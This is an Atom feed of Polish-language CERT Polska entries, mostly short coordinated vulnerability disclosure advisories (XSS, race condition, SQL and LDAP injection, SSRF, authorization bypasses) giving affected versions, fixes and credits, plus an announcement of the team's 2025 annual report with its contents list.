<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>CERT Polska</title><link href="https://cert.pl/" rel="alternate"></link><link href="https://cert.pl/atom.xml" rel="self"></link><id>https://cert.pl/</id><updated>2026-04-24T11:55:00+01:00</updated><subtitle>CERT.PL</subtitle><subtitle>CERT.PL</subtitle><entry><title>Podatność w oprogramowaniu AdaptiveGRC</title><link href="https://cert.pl/posts/2026/04/CVE-2026-4313/" rel="alternate"></link><published>2026-04-24T11:55:00+01:00</published><updated>2026-04-24T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-24:/posts/2026/04/CVE-2026-4313/</id><summary type="html">W oprogramowaniu AdaptiveGRC wykryto podatność typu Cross-site Scripting (CVE-2026-4313).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu AdaptiveGRC i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-4313"&gt;CVE-2026-4313&lt;/a&gt;: AdaptiveGRC jest podatny na atak typu Stored Cross-Site Scripting za pośrednictwem pól tekstowych występujących w formularzach. Uwierzytelniony atakujący może zmodyfikować wartość pola tekstowego w żądaniu HTTP POST. Nieprawidłowa walidacja parametrów po stronie serwera skutkuje możliwością wykonania dowolnego kodu JavaScript w przeglądarce ofiary.
Co istotne, luka ta może umożliwić atakującemu przechwycenie tokenu uwierzytelniającego administratora oraz wykonywanie dowolnych działań z uprawnieniami administracyjnymi, co może prowadzić do dalszej kompromitacji systemu.&lt;/p&gt;
&lt;p&gt;Problem występuje w wersjach wydanych przed grudniem 2025.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Antoniemu Kwietniewskiemu (mBank).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu GNU sed</title><link href="https://cert.pl/posts/2026/04/CVE-2026-5958/" rel="alternate"></link><published>2026-04-20T11:55:00+01:00</published><updated>2026-04-20T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-20:/posts/2026/04/CVE-2026-5958/</id><summary type="html">W oprogramowaniu GNU sed wykryto podatność typu Time-of-check Time-of-use (TOCTOU) Race Condition (CVE-2026-5958).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu GNU Sed i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-5958"&gt;CVE-2026-5958&lt;/a&gt;: Kiedy Sed jest wywoływany z parametrami &lt;code&gt;-i&lt;/code&gt; (in-place edit) oraz &lt;code&gt;--follow-symlinks&lt;/code&gt;, funkcja &lt;code&gt;open_next_file()&lt;/code&gt; wykonuje dwie oddzielne operacje na pliku pod tą samą ścieżką:
1. rozwiązuje symlink i ustala ścieżkę do plików, gdzie będzie zapisany wynik operacji,
2. ponownie rozwiązuje ten sam symlink (zamiast użycia ścieżki uzyskanej w kroku 1) w celu odczytania pliku. &lt;/p&gt;
&lt;p&gt;Pomiędzy tymi dwoma wywołaniami występuje okno pozwalające na wystąpienie stanu race condition. Jeśli w tym czasie atakujący zastąpi symlink innym celem, sed odczyta zawartość z nowego (wybranego przez atakującego) celu symlinka i zapisze przetworzony wynik w ścieżce zarejestrowanej w kroku 1. Może to doprowadzić do nadpisania dowolnego pliku treścią kontrolowaną przez atakującego w kontekście procesu sed.&lt;/p&gt;
&lt;p&gt;Ten problem został naprawiony w wersji 4.10.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Michałowi Majchrowiczowi oraz Marcinowi Wyczechowskiemu (AFINE Team).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Fudo Enterprise</title><link href="https://cert.pl/posts/2026/04/CVE-2025-13480/" rel="alternate"></link><published>2026-04-20T10:55:00+01:00</published><updated>2026-04-20T10:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-20:/posts/2026/04/CVE-2025-13480/</id><summary type="html">W oprogramowaniu Fudo Enterprise wykryto podatność typu Incorrect Authorization (CVE-2025-13480).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Fudo Enterprise i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-13480"&gt;CVE-2025-13480&lt;/a&gt;: Fudo Enterprise w wersjach od 5.5.0 do 5.6.2 włącznie umożliwia użytkownikom o niskich uprawnieniach dostęp do zasobów przeznaczonych wyłącznie dla administratorów poprzez niektóre niewłaściwie zabezpieczone endpointy API. Obejmuje to wrażliwe informacje, takie jak logi systemowe oraz części ustawień konfiguracyjnych systemu.&lt;/p&gt;
&lt;p&gt;Podatność została naprawiona w wersji 5.6.3&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności firmie Fudo Security, które jest producentem oprogramowania Fudo Enterprise.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu PAC4J</title><link href="https://cert.pl/posts/2026/04/CVE-2026-40458/" rel="alternate"></link><published>2026-04-17T14:55:00+01:00</published><updated>2026-04-17T14:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-17:/posts/2026/04/CVE-2026-40458/</id><summary type="html">W oprogramowaniu PAC4J wykryto 2 podatności różnego typu (CVE-2026-40458, CVE-2026-40459)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu PAC4J i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-40458"&gt;CVE-2026-40458&lt;/a&gt;: W PAC4J wykryto podatność typu Cross-Site Request Forgery (CSRF). Atakujący może przygotować złośliwą stronę, która po odwiedzeniu przez ofiarę wysyła sfałszowane żądanie z tokenem kolidującym z prawdziwym tokenem CSRF. Atak nie wymaga wcześniejszej znajomości tokenu ani jego hasha, ponieważ kolizje deterministycznej funkcji String.hashCode() mogą być obliczone w locie, co skutecznie obniża przestrzeń tokenu do 32 bitów. Umożliwia to obejście ochrony CSRF i wykonanie operacji takich jak zmiana profilu, hasła czy łączenie kont bez wiedzy i zgody użytkownika.&lt;/p&gt;
&lt;p&gt;Ten problem został naprawiony w wersjach 5.7.10 i 6.4.1&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-40459"&gt;CVE-2026-40459&lt;/a&gt;: W PAC4J zidentyfikowano podatność typu LDAP Injection występującą w wielu miejscach. Zdalny atakujący o niskich uprawnieniach może wstrzyknąć spreparowaną składnię LDAP do parametrów wyszukiwania opartych na identyfikatorze (ID), co może skutkować nieautoryzowanymi zapytaniami LDAP oraz wykonywaniem dowolnych operacji na katalogu.&lt;/p&gt;
&lt;p&gt;Ten problem został naprawiony w wersjach 4.5.10, 5.7.10 i 6.4.1&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Bartłomiejowi Dmitrukowi (striga.ai).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu GREENmod</title><link href="https://cert.pl/posts/2026/04/CVE-2026-5131/" rel="alternate"></link><published>2026-04-17T11:55:00+01:00</published><updated>2026-04-17T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-17:/posts/2026/04/CVE-2026-5131/</id><summary type="html">W oprogramowaniu GREENmod wykryto podatność typu Server-Side Request Forgery (SSRF) (CVE-2026-5131).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu GREENmod i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-5131"&gt;CVE-2026-5131&lt;/a&gt;: GREENmod wykorzystuje potoki nazwane do komunikacji pomiędzy wtyczkami, portalem internetowym i usługą systemową, jednak listy kontroli dostępu dla tych potoków są nieprawidłowo skonfigurowane. Umożliwia to atakującemu komunikację ze strumieniem oraz przesłanie dowolnego pliku XML lub JSON, który zostanie przetworzony przez potok nazwany z uprawnieniami użytkownika, w kontekście którego działa usługa. Pozwala to na przeprowadzenie ataku typu Server-Side Request Forgery na dowolny system Windows, na którym jest zainstalowany agent i który umożliwia komunikację za pośrednictwem protokołów SMB lub WebDAV.&lt;/p&gt;
&lt;p&gt;Ten problem został naprawiony w wersji 2.8.33.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Marcinowi Resselowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu MCPHub</title><link href="https://cert.pl/posts/2026/04/CVE-2025-13822/" rel="alternate"></link><published>2026-04-14T11:55:00+01:00</published><updated>2026-04-14T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-14:/posts/2026/04/CVE-2025-13822/</id><summary type="html">W projekcie MCPHub wykryto podatność typu Authorization Bypass (CVE-2025-13822).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w projekcie MCPHub i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-13822"&gt;CVE-2025-13822&lt;/a&gt;: W projekcie MCPHub w wersjach poniżej 0.11.0 istnieje możliwość obejścia uwierzytelniania. Niektóre endpointy nie są chronione przez middleware uwierzytelniający, co umożliwia nieuwierzytelnionemu atakującemu wykonywanie działań w imieniu innych użytkowników oraz z wykorzystaniem ich uprawnień.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Erykowi Winiarzowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Hydrosystem Control System</title><link href="https://cert.pl/posts/2026/04/CVE-2026-4901/" rel="alternate"></link><published>2026-04-09T11:55:00+01:00</published><updated>2026-04-09T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-09:/posts/2026/04/CVE-2026-4901/</id><summary type="html">W oprogramowaniu Hydrosystem Control System wykryto 3 podatności różnego typu (CVE-2026-4901, CVE-2026-34184, CVE-2026-34185)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Hydrosystem Control System i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-4901"&gt;CVE-2026-4901&lt;/a&gt;: Hydrosystem Control System zapisuje wrażliwe informacje w pliku z logami. Co istotne, dane uwierzytelniające użytkownika także są zapisywane w logu, co umożliwia atakującemu uzyskanie dalszego autoryzowanego dostępu do systemu. W połączeniu z podatnością CVE-2026-34184, te wrażliwe informacje mogą być uzyskiwane przez nieautoryzowanego użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-34184"&gt;CVE-2026-34184&lt;/a&gt;: Hydrosystem Control System nie wymusza autoryzacji dla niektórych katalogów. To umożliwia nieautoryzowanemu atakującemu odczytywanie wszystkich plików w tych katalogach oraz ich wykonywanie. Co istotne, atakujący może bezpośrednio uruchomić skrypty PHP wykonujące operacje na połączonej bazie danych.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-34185"&gt;CVE-2026-34185&lt;/a&gt;: Hydrosystem Control System jest podatny na SQL Injection w większości skryptów i parametrów wejściowych. Ponieważ nie zastosowano żadnych mechanizmów ochronnych, uwierzytelniony atakujący może wstrzyknąć dowolne polecenie SQL, co może prowadzić do uzyskania pełnej kontroli nad bazą danych.&lt;/p&gt;
&lt;p&gt;Te problemy zostały naprawione w wersji 9.8.5&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Jarosławowi "Jahrek" Kamińskiemu - Securitum.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Raport roczny z działalności CERT Polska w 2025 roku</title><link href="https://cert.pl/posts/2026/04/raport-roczny-2025/" rel="alternate"></link><published>2026-04-08T09:00:00+02:00</published><updated>2026-04-08T09:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-08:/posts/2026/04/raport-roczny-2025/</id><summary type="html">Za nami kolejny rok działania zespołu CERT Polska. Był on wyjątkowy, ponieważ wieńczył trzecią dekadę naszej działalności – świętujemy właśnie 30. urodziny! Rok 2025 to czas pełen wyzwań, rozwoju i kształtowania cyberbezpieczeństwa w&amp;nbsp;kompleksowy sposób – od proaktywnych działań na rzecz wykrywania zagrożeń, poprzez obsługę zgłoszeń i reagowanie na incydenty aż po dzielenie się wiedzą i&amp;nbsp;budowanie świadomości społecznej.</summary><content type="html">&lt;p&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf" class="report-download"&gt;
  &lt;img src="/uploads/2026/04/raport-roczny-2025/thumbnail.jpg" alt="okładka"&gt;
  &lt;span class="caption"&gt;Pobierz raport (PDF, 43.3MB)&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Za nami kolejny rok działania zespołu CERT Polska. Był on wyjątkowy,
ponieważ wieńczył trzecią dekadę naszej działalności – świętujemy właśnie 30. urodziny! 
Rok 2025 to czas pełen wyzwań, rozwoju i kształtowania
cyberbezpieczeństwa w&amp;nbsp;kompleksowy sposób – od proaktywnych działań
na rzecz wykrywania zagrożeń, poprzez obsługę zgłoszeń i reagowanie
na incydenty aż po dzielenie się wiedzą i&amp;nbsp;budowanie świadomości społecznej.&lt;/p&gt;
&lt;p&gt;Znajdziecie tu historie o popularnych kampaniach oszustw, relacje
z obserwacji grup APT czy informacje z pierwszej ręki o przełomach
w wykrywaniu zagrożeń. Opowiemy o testach bezpieczeństwa, upublicznianiu podatności, złośliwym oprogramowaniu i atakach ransomware.&lt;/p&gt;
&lt;p&gt;Będzie też tradycyjnie o współpracy krajowej i międzynarodowej, ćwiczeniach i zawodach, projektach, w których biorą udział zespoły z całego świata,
o polskiej prezydencji w Radzie Unii Europejskiej, o nowych inicjatywach
łączących bezpieczników z różnych instytucji i sektorów gospodarki.&lt;/p&gt;
&lt;p&gt;Nie zabraknie zagadnień dla fanów solidnych technicznych rozwiązań.
Na kartach raportu poruszymy tematy usług i oprogramowania, które współtworzymy lub budujemy sami – AIPITCH, DNS4EU, FETTA, PERUN, Artemis,
Lista Ostrzeżeń, MWDB, n6 i nasze flagowe przedsięwzięcie – moje.cert.pl.&lt;/p&gt;
&lt;p&gt;Powyższe wyliczenie pokazuje, jak bardzo złożone i zróżnicowane są
zadania, z którymi na co dzień mierzy się nasz zespół. Jednak u podstaw
każdego z tych działań leży potrzeba uszczelniania i usprawniania
systemu, który czyni polską cyberprzestrzeń bezpieczniejszą. Drugim
filarem jest wiedza – świadomość zagrożeń i znajomość metod zapobiegania im to najskuteczniejsza broń w walce z cyberoszustami.&lt;/p&gt;
&lt;p&gt;CERT Polska to ludzie i chcemy, żeby nasz raport też był ludzki. Merytoryczny,
pełen rzetelnej wiedzy, liczb i wykresów, a jednocześnie ciekawy i&amp;nbsp;angażujący.
Przeczytacie dziś o wielu ważnych i trudnych tematach, ale są to sprawy,
z których możemy być po prostu dumni – my jako CERT, ale też my jako Polacy.&lt;/p&gt;
&lt;p&gt;Miłej lektury!&lt;/p&gt;
&lt;p&gt;Kliknij w interesujący Cię artykuł w poniższym spisie treści, aby wyświetlić go w przeglądarce, albo
&lt;strong&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf" download&gt;pobierz plik z raportem&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=6"&gt;&lt;strong&gt;Wstęp&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;5&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=7"&gt;&lt;strong&gt;O CERT Polska&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;6&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=9"&gt;&lt;strong&gt;Kalendarium&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;8&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=18"&gt;&lt;strong&gt;30 lat CERT Polska – perspektywa kierowników zespołu&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;17&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=29"&gt;&lt;strong&gt;Incydenty i zagrożenia&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;28&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=30"&gt;Przegląd nowych kampanii&lt;span&gt;&lt;/span&gt;&lt;em&gt;29&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=40"&gt;Malware mobilny&lt;span&gt;&lt;/span&gt;&lt;em&gt;39&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=43"&gt;Ransomware&lt;span&gt;&lt;/span&gt;&lt;em&gt;42&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=49"&gt;Obserwowane działania grup APT&lt;span&gt;&lt;/span&gt;&lt;em&gt;48&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=57"&gt;Najważniejsze podatności&lt;span&gt;&lt;/span&gt;&lt;em&gt;56&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=70"&gt;Wycieki danych&lt;span&gt;&lt;/span&gt;&lt;em&gt;69&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=74"&gt;&lt;strong&gt;Działania CERT Polska&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;73&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=75"&gt;Lista Ostrzeżeń&lt;span&gt;&lt;/span&gt;&lt;em&gt;74&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=75"&gt;Walka z oszustwami SMS&lt;span&gt;&lt;/span&gt;&lt;em&gt;74&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=78"&gt;Skoordynowane ujawnianie podatności&lt;span&gt;&lt;/span&gt;&lt;em&gt;77&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=82"&gt;#BezpiecznyPrzemysł&lt;span&gt;&lt;/span&gt;&lt;em&gt;81&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=86"&gt;Audyty aplikacji webowych&lt;span&gt;&lt;/span&gt;&lt;em&gt;85&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=88"&gt;Analiza bezpieczeństwa aplikacji mobilnych sektora publicznego&lt;span&gt;&lt;/span&gt;&lt;em&gt;87&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=92"&gt;Locked Shields 2025&lt;span&gt;&lt;/span&gt;&lt;em&gt;91&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=94"&gt;Badanie oprogramowania CMS dla Biuletynów Informacji Publicznej&lt;span&gt;&lt;/span&gt;&lt;em&gt;93&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=95"&gt;Współtworzenie zespołów CSIRT sektorowych&lt;span&gt;&lt;/span&gt;&lt;em&gt;94&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=96"&gt;ECSC 2025&lt;span&gt;&lt;/span&gt;&lt;em&gt;95&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=98"&gt;Polska prezydencja w Radzie Unii Europejskiej&lt;span&gt;&lt;/span&gt;&lt;em&gt;97&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=100"&gt;SECURE International Summit&lt;span&gt;&lt;/span&gt;&lt;em&gt;99&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=102"&gt;Edukacja i promocja cyberbezpieczeństwa budują świadomość Polaków&lt;span&gt;&lt;/span&gt;&lt;em&gt;101&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=106"&gt;&lt;strong&gt;Projekty&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;105&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=107"&gt;Moje.cert.pl&lt;span&gt;&lt;/span&gt;&lt;em&gt;106&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=108"&gt;Artemis&lt;span&gt;&lt;/span&gt;&lt;em&gt;107&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=110"&gt;Snitch&lt;span&gt;&lt;/span&gt;&lt;em&gt;109&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=111"&gt;AIPITCH&lt;span&gt;&lt;/span&gt;&lt;em&gt;110&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=112"&gt;PERUN&lt;span&gt;&lt;/span&gt;&lt;em&gt;111&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=113"&gt;FETTA&lt;span&gt;&lt;/span&gt;&lt;em&gt;112&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=114"&gt;DNS4EU&lt;span&gt;&lt;/span&gt;&lt;em&gt;113&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=117"&gt;&lt;strong&gt;Statystyki&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;116&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=118"&gt;Zgłoszenia i incydenty&lt;span&gt;&lt;/span&gt;&lt;em&gt;117&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=122"&gt;MWDB&lt;span&gt;&lt;/span&gt;&lt;em&gt;121&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=123"&gt;Moje.cert.pl&lt;span&gt;&lt;/span&gt;&lt;em&gt;122&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=124"&gt;Artemis&lt;span&gt;&lt;/span&gt;&lt;em&gt;123&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=126"&gt;Bezpieczna poczta&lt;span&gt;&lt;/span&gt;&lt;em&gt;125&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=127"&gt;n6&lt;span&gt;&lt;/span&gt;&lt;em&gt;126&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=144"&gt;&lt;strong&gt;Spis rysunków&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;143&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=146"&gt;&lt;strong&gt;Spis tabel&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;145&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2025.pdf#page=148"&gt;&lt;strong&gt;Spis wykresów&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;147&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;style&gt;
.article ul {
  font-size: 1.5em;
  clear: both;
}
.article ul ul {
  font-size: 0.9em;
}
.article ul ul ul {
  font-size: 0.9em;
}
.article ul ul ul ul {
  font-size: 0.9em;
}
.article ul div {
  display: inline-block;
  width: 100%;
}
.article ul div a {
  display: flex;
}
.article ul div a span {
  flex: 1 1;
  border-bottom: 1px dashed #999;
